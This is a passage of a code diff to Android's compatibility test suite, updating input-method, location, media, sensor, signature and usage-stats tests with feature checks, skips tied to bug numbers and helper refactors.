-                        maybeClearExistingInlineSuggestions();
-                    }
-                });
+                () -> super.onStartInput(editorInfo, restarting));
     }
 
     @Override
@@ -727,13 +745,6 @@
         final AtomicInteger mInflatedViewCount;
         final AtomicBoolean mValid = new AtomicBoolean(true);
 
-        PendingInlineSuggestions() {
-            mResponse = null;
-            mTotalCount = 0;
-            mViews = null;
-            mInflatedViewCount = null;
-        }
-
         PendingInlineSuggestions(InlineSuggestionsResponse response) {
             mResponse = response;
             mTotalCount = response.getInlineSuggestions().size();
@@ -780,7 +791,9 @@
             }
             mPendingInlineSuggestions = pendingInlineSuggestions;
             if (pendingInlineSuggestions.mTotalCount == 0) {
-                mView.updateInlineSuggestions(pendingInlineSuggestions);
+                if (mView != null) {
+                    mView.updateInlineSuggestions(pendingInlineSuggestions);
+                }
                 return true;
             }
 
@@ -811,15 +824,6 @@
         });
     }
 
-    @MainThread
-    private void maybeClearExistingInlineSuggestions() {
-        if (mPendingInlineSuggestions != null
-                && mPendingInlineSuggestions.mTotalCount > 0) {
-            mView.updateInlineSuggestions(new PendingInlineSuggestions());
-            mPendingInlineSuggestions = null;
-        }
-    }
-
     /**
      * Event tracing helper class for {@link MockIme}.
      */
@@ -1047,6 +1051,11 @@
             recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
         }
 
+        void onStrictModeViolated(@NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            recordEventInternal("onStrictModeViolated", runnable, arguments);
+        }
+
         InlineSuggestionsRequest onCreateInlineSuggestionsRequest(
                 @NonNull Supplier<InlineSuggestionsRequest> supplier) {
             return recordEventInternal("onCreateInlineSuggestionsRequest", supplier);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 699da4c..b495e36 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -21,6 +21,7 @@
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -45,6 +46,7 @@
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.AssumptionViolatedException;
 
@@ -1006,4 +1008,19 @@
     public ImeCommand callSetInlineSuggestionsExtras(@NonNull Bundle bundle) {
         return callCommandInternal("setInlineSuggestionsExtras", bundle);
     }
+
+    @NonNull
+    public ImeCommand callVerifyGetDisplay() {
+        return callCommandInternal("verifyGetDisplay", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetWindowManager() {
+        return callCommandInternal("verifyGetWindowManager", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetViewConfiguration() {
+        return callCommandInternal("verifyGetViewConfiguration", new Bundle());
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 23e4dd8..722d71b 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -562,7 +562,9 @@
             CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText);
             TestUtils.waitOnMainUntil(() -> editTextHasWindowFocus.get()
                     && !popupTextHasWindowFocus.get(), TIMEOUT);
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            // Expect there is no "onStartInput" when window focus back to activity's EditText.
+            // Since the EditText still has view focus and served by InputMethodManager.
+            notExpectEvent(stream, editorMatcher("onStartInput", marker), NOT_EXPECT_TIMEOUT);
             expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
         }
     }
@@ -592,8 +594,6 @@
                 layout.addView(editText);
                 return layout;
             });
-            // Wait until the MockIme gets bound to the TestActivity.
-            expectBindInput(stream, Process.myPid(), TIMEOUT);
 
             // Emulate tap event, expect there is no "onStartInput", and "showSoftInput" happened.
             final EditText editText = editTextRef.get();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 9122c58..d104450 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -37,6 +37,7 @@
 import android.graphics.PixelFormat;
 import android.graphics.Point;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Pair;
 import android.view.Gravity;
 import android.view.View;
@@ -134,6 +135,7 @@
         }
     }
 
+    @AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
     @Test
     public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
         final InputMethodManager imm = InstrumentationRegistry.getInstrumentation().getContext()
@@ -227,7 +229,7 @@
                 TextView textView = new TextView(activity);
                 textView.setText("I'm a TextView");
                 textView.setHeight(activity.getWindowManager().getMaximumWindowMetrics()
-                        .getBounds().height() / 2);
+                        .getBounds().height() / 3);
                 layout.addView(textView);
             }
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
index b817a2c..3a57360 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
@@ -21,6 +21,7 @@
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
 import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
 import android.app.Service;
@@ -130,6 +131,12 @@
                 150, 150, pos.x, pos.y,
                 TYPE_APPLICATION_OVERLAY, FLAG_NOT_FOCUSABLE,
                 PixelFormat.OPAQUE);
+        // Currently SOFT_INPUT_STATE_UNSPECIFIED isn't appropriate for CTS test because there is no
+        // clear spec about how it behaves.  In order to make our tests deterministic, currently we
+        // must use SOFT_INPUT_STATE_HIDDEN to make sure soft-keyboard will hide after navigating
+        // forward to next window.
+        // TODO(Bug 77152727): Remove the following code once we define how
+        params.softInputMode = SOFT_INPUT_STATE_HIDDEN;
         wm.addView(editText, params);
         return editText;
     }
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index d159828..846094c 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -423,6 +423,14 @@
                         String.valueOf(svid),
                         svid >= 1 && svid <= 36);
                 break;
+            case GnssStatus.CONSTELLATION_IRNSS:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_IRNSS",
+                        timeInNs,
+                        "1 <= X <= 14",
+                        String.valueOf(svid),
+                        svid >= 1 && svid <= 14);
+                break;
             default:
                 // Explicit fail if did not receive valid constellation type.
                 softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index de9e21e..05b80b9 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -32,6 +32,7 @@
 import static org.junit.Assert.fail;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.location.Criteria;
 import android.location.Location;
 import android.location.LocationManager;
@@ -165,7 +166,11 @@
     public void testGetProviders() {
         List<String> providers = mManager.getProviders(false);
         assertTrue(providers.contains(TEST_PROVIDER));
-        assertTrue(providers.contains(GPS_PROVIDER));
+        if (hasGpsFeature()) {
+            assertTrue(providers.contains(GPS_PROVIDER));
+        } else {
+            assertFalse(providers.contains(GPS_PROVIDER));
+        }
         assertTrue(providers.contains(PASSIVE_PROVIDER));
     }
 
@@ -238,4 +243,8 @@
     private static Executor directExecutor() {
         return Runnable::run;
     }
+
+    private boolean hasGpsFeature() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS);
+    }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 9e0ed0b..e6e69df 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -32,6 +32,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
@@ -555,6 +556,8 @@
     @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testRequestGpsUpdates_B9758659() throws Exception {
+        assumeTrue(hasGpsFeature());
+
         // test for b/9758659, where the gps provider may reuse network provider positions creating
         // an unnatural feedback loop
         assertThat(mManager.isProviderEnabled(GPS_PROVIDER)).isTrue();
@@ -1101,11 +1104,14 @@
 
     @Test
     public void testGetGnssYearOfHardware() {
+        assumeTrue(hasGpsFeature());
         mManager.getGnssYearOfHardware();
     }
 
     @Test
     public void testGetGnssHardwareModelName() {
+        assumeTrue(hasGpsFeature());
+
         // model name should be longer than 4 characters
         String gnssHardwareModelName = mManager.getGnssHardwareModelName();
 
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index ccf41c7..a618ac0 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -25,7 +25,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-1.2" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 4d6d9d9..384d3d7 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,6 +1,6 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.1.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.2.zip</value>
     </entry>
 </dynamicConfig>
 
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index 750abe6..b07c1c3 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -528,10 +528,11 @@
 
 int CodecTestBase::getWidth(AMediaFormat* format) {
     int width = -1;
-    int cropLeft, cropRight;
+    int cropLeft, cropRight, cropTop, cropBottom;
     AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_WIDTH, &width);
-    if (AMediaFormat_getInt32(format, "crop-left", &cropLeft) &&
-        AMediaFormat_getInt32(format, "crop-right", &cropRight)) {
+    if (AMediaFormat_getRect(format, "crop", &cropLeft, &cropTop, &cropRight, &cropBottom) ||
+        (AMediaFormat_getInt32(format, "crop-left", &cropLeft) &&
+        AMediaFormat_getInt32(format, "crop-right", &cropRight))) {
         width = cropRight + 1 - cropLeft;
     }
     return width;
@@ -539,10 +540,11 @@
 
 int CodecTestBase::getHeight(AMediaFormat* format) {
     int height = -1;
-    int cropTop, cropBottom;
+    int cropLeft, cropRight, cropTop, cropBottom;
     AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_HEIGHT, &height);
-    if (AMediaFormat_getInt32(format, "crop-top", &cropTop) &&
-        AMediaFormat_getInt32(format, "crop-bottom", &cropBottom)) {
+    if (AMediaFormat_getRect(format, "crop", &cropLeft, &cropTop, &cropRight, &cropBottom) ||
+        (AMediaFormat_getInt32(format, "crop-top", &cropTop) &&
+        AMediaFormat_getInt32(format, "crop-bottom", &cropBottom))) {
         height = cropBottom + 1 - cropTop;
     }
     return height;
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 515f455..4185d7c 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -57,7 +57,6 @@
     private int mTrackID = -1;
 
     private ArrayList<MediaCodec.BufferInfo> mInfoList = new ArrayList<>();
-    private int mTotalSize;
 
     private ArrayList<String> mCheckESList = new ArrayList<>();
 
@@ -100,8 +99,8 @@
                 mMuxer.writeSampleData(mTrackID, buf, info);
             }
             MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
-            copy.set(mTotalSize + info.offset, info.size, info.presentationTimeUs, info.flags);
-            mTotalSize += info.size;
+            copy.set(mOutputBuff.getOutStreamSize(), info.size, info.presentationTimeUs,
+                    info.flags);
             mInfoList.add(copy);
         }
         super.dequeueOutput(bufferIndex, info);
@@ -166,7 +165,6 @@
             mCodec = MediaCodec.createByCodecName(encoder);
             mOutputBuff.reset();
             mInfoList.clear();
-            mTotalSize = 0;
             /* TODO(b/157523045) */
             if (mRange <= UNSPECIFIED || mStandard <= UNSPECIFIED ||
                     mTransferCurve <= UNSPECIFIED) {
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 343f4f0..4b765ab 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -83,7 +83,7 @@
         }
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // Audio - CodecMime, bit-rate, sample rate, channel count
-                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 8000, 1, -1},
+                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 48000, 1, -1},
                 {MediaFormat.MIMETYPE_AUDIO_AAC, 128000, 48000, 2, -1},
 
                 // Video - CodecMime, bit-rate, height, width, frame-rate
diff --git a/tests/media/src/android/mediav2/cts/ExtractorTest.java b/tests/media/src/android/mediav2/cts/ExtractorTest.java
index a0aaef1..cbfc9c6 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorTest.java
@@ -864,6 +864,10 @@
         public void testExtract() throws IOException {
             assumeTrue(shouldRunTest(mMime));
             assertTrue(mSrcFiles.length > 1);
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             MediaExtractor refExtractor = new MediaExtractor();
             refExtractor.setDataSource(mInpPrefix + mSrcFiles[0]);
             boolean isOk = true;
@@ -952,6 +956,9 @@
         @Test
         public void testSeekToZero() throws IOException {
             assumeTrue(shouldRunTest(mMime));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             boolean isOk = true;
             for (String srcFile : mSrcFiles) {
                 MediaExtractor extractor = new MediaExtractor();
@@ -1033,6 +1040,10 @@
         public void testExtractNative() {
             assumeTrue(shouldRunTest(mMime));
             assertTrue(mSrcFiles.length > 1);
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             boolean isOk = true;
             for (int i = 1; i < mSrcFiles.length; i++) {
                 if (!nativeTestExtract(mInpPrefix + mSrcFiles[0], mInpPrefix + mSrcFiles[i],
@@ -1085,6 +1096,9 @@
         @Test
         public void testSeekToZeroNative() {
             assumeTrue(shouldRunTest(mMime));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             boolean isOk = true;
             for (String srcFile : mSrcFiles) {
                 if (!nativeTestSeekToZero(mInpPrefix + srcFile, mMime)) {
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index 4af6dd37..0ca67f2 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -862,6 +862,10 @@
         public void testOffsetPresentationTime() throws IOException {
             final int OFFSET_TS = 111000;
             Assume.assumeTrue(shouldRunTest(mOutFormat));
+            Assume.assumeTrue("TODO(b/148978457)",
+                    mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+            Assume.assumeTrue("TODO(b/148978457)",
+                    mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
             Assume.assumeTrue("TODO(b/146423022)",
                     mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
             Assume.assumeTrue("TODO(b/146421018)",
@@ -891,6 +895,10 @@
         @Test
         public void testOffsetPresentationTimeNative() {
             Assume.assumeTrue(shouldRunTest(mOutFormat));
+            Assume.assumeTrue("TODO(b/148978457)",
+                    mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+            Assume.assumeTrue("TODO(b/148978457)",
+                    mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
             Assume.assumeTrue("TODO(b/146423022)",
                     mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
             Assume.assumeTrue("TODO(b/146421018)",
@@ -1010,6 +1018,8 @@
         public void testSimpleMux() throws IOException {
             Assume.assumeTrue("TODO(b/146421018)",
                     !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            Assume.assumeTrue("TODO(b/146923287)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
             MuxerTestHelper mediaInfo = new MuxerTestHelper(mInpPath, mMime);
             assertEquals("error! unexpected track count", 1, mediaInfo.getTrackCount());
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; format++) {
@@ -1072,6 +1082,8 @@
         public void testSimpleMuxNative() {
             Assume.assumeTrue("TODO(b/146421018)",
                     !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            Assume.assumeTrue("TODO(b/146923287)",
+                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
             assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
         }
     }
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 581e9ad..a5e635c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-1.2/");
         }
     }
 }
\ No newline at end of file
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index 3ef2eef..c6b247b 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -40,6 +40,7 @@
  * together so that they form a tree.
  */
 public class SensorStats {
+    private static final String TAG = "SensorStats";
     public static final String DELIMITER = "__";
 
     public static final String ERROR = "error";
@@ -146,23 +147,39 @@
         }
     }
 
+    /* Checks if external storage is available for read and write */
+    private boolean isExternalStorageWritable() {
+        String state = Environment.getExternalStorageState();
+        return Environment.MEDIA_MOUNTED.equals(state);
+    }
+
     /**
      * Utility method to log the stats to a file. Will overwrite the file if it already exists.
      */
     public void logToFile(Context context, String fileName) throws IOException {
-        // Only log to file if currently not an Instant App since Instant Apps do not have access to
-        // external storage.
-        if (!context.getPackageManager().isInstantApp()) {
-            File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
-            File logFile = new File(statsDirectory, fileName);
-            final Map<String, Object> flattened = flatten();
-            FileWriter fileWriter = new FileWriter(logFile, false /* append */);
-            try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
-                for (String key : getSortedKeys(flattened)) {
-                    Object value = flattened.get(key);
-                    writer.write(String.format("%s: %s\n", key, getValueString(value)));
+        if (!isExternalStorageWritable()) {
+            Log.w(TAG,
+                "External storage unavailable, skipping log to file: " + fileName);
+            return;
+        }
+
+        try {
+            // Only log to file if currently not an Instant App since Instant Apps do not have access to
+            // external storage.
+            if (!context.getPackageManager().isInstantApp()) {
+                File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
+                File logFile = new File(statsDirectory, fileName);
+                final Map<String, Object> flattened = flatten();
+                FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+                try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+                    for (String key : getSortedKeys(flattened)) {
+                        Object value = flattened.get(key);
+                        writer.write(String.format("%s: %s\n", key, getValueString(value)));
+                    }
                 }
             }
+        } catch(IOException e) {
+            Log.w(TAG, "Unable to write to file: " + fileName, e);
         }
     }
 
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index 424c881..b177f21 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -14,7 +14,7 @@
 
 genrule_defaults {
     name: "signature-cts-api-api-gz",
-    cmd: "$(location metalava) --no-banner -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
+    cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
     tools: ["metalava"],
     visibility: [
         "//cts/tests/signature/api-check:__subpackages__",
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index d736c71..af99a5b 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -28,7 +28,7 @@
 $$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
 	@echo "Convert API file $$< -> $$@"
 	@mkdir -p $$(dir $$@)
-	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+	$(hide) $(APICHECK_COMMAND) --compatible-output=no -convert2xmlnostrip $$< $$@
 endef
 
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index b0cc4dc..4dc7b8a 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -24,6 +24,7 @@
     Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
     Bug: 150153196 android.intent.action.LOAD_DATA (system in API 30)
+    Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -36,5 +37,6 @@
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
       <value>android.intent.action.LOAD_DATA</value>
+      <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
index e77d7e0..c149492 100644
--- a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
+++ b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
@@ -92,6 +92,8 @@
 
     private static final String MODIFIER_VISIBILITY = "visibility";
 
+    private static final String MODIFIER_ENUM_CONSTANT = "metalava:enumConstant";
+
     private static final Set<String> KEY_TAG_SET;
 
     static {
@@ -139,12 +141,6 @@
         int modifier = jdiffModifierToReflectionFormat(currentClass.getClassName(), parser);
         String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
 
-        if (currentClass.isEnumType() && fieldType.equals(currentClass.getAbsoluteClassName())
-                && (value != null && value.startsWith("PsiEnumConstant:"))) {
-            // We don't need to check the value.
-            value = null;
-        }
-
         // Canonicalize the expected value to ensure that it is consistent with the values obtained
         // using reflection by ApiComplianceChecker.getFieldValueAsString(...).
         if (value != null) {
@@ -356,6 +352,8 @@
                     default:
                         throw new RuntimeException("Unknown modifier found in API spec: " + value);
                 }
+            case MODIFIER_ENUM_CONSTANT:
+                return value.equals("true") ? ApiComplianceChecker.FIELD_MODIFIER_ENUM_VALUE : 0;
         }
         return 0;
     }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index 8b40fdf..9dea170 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -63,6 +63,9 @@
     /** Indicates that the method is a synthetic method. */
     private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
 
+    /** Indicates that a field is an enum value. */
+    public static final int FIELD_MODIFIER_ENUM_VALUE = 0x00004000;
+
     private final InterfaceChecker interfaceChecker;
 
     public ApiComplianceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 4440010..92e351a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -105,14 +105,11 @@
     private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
             AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
 
-    private static final String USAGE_SOURCE_GET_SHELL_COMMAND = "settings get global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+    private static final String GET_SHELL_COMMAND = "settings get global ";
 
-    private static final String USAGE_SOURCE_SET_SHELL_COMMAND = "settings put global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE + " {0}";
+    private static final String SET_SHELL_COMMAND = "settings put global ";
 
-    private static final String USAGE_SOURCE_DELETE_SHELL_COMMAND = "settings delete global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+    private static final String DELETE_SHELL_COMMAND = "settings delete global ";
 
     private static final String TEST_APP_PKG = "android.app.usage.cts.test1";
     private static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
@@ -139,6 +136,7 @@
     private KeyguardManager mKeyguardManager;
     private String mTargetPackage;
     private String mCachedUsageSourceSetting;
+    private String mCachedEnableRestrictedBucketSetting;
 
     @Before
     public void setUp() throws Exception {
@@ -152,16 +150,18 @@
 
         assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
         setAppOpsMode("allow");
-        mCachedUsageSourceSetting = getUsageSourceSetting();
+        mCachedUsageSourceSetting = getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE);
+        mCachedEnableRestrictedBucketSetting = getSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET);
     }
 
     @After
     public void cleanUp() throws Exception {
         if (mCachedUsageSourceSetting != null &&
-            !mCachedUsageSourceSetting.equals(getUsageSourceSetting())) {
+                !mCachedUsageSourceSetting.equals(
+                    getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE))) {
             setUsageSourceSetting(mCachedUsageSourceSetting);
-            mUsageStatsManager.forceUsageSourceSettingRead();
         }
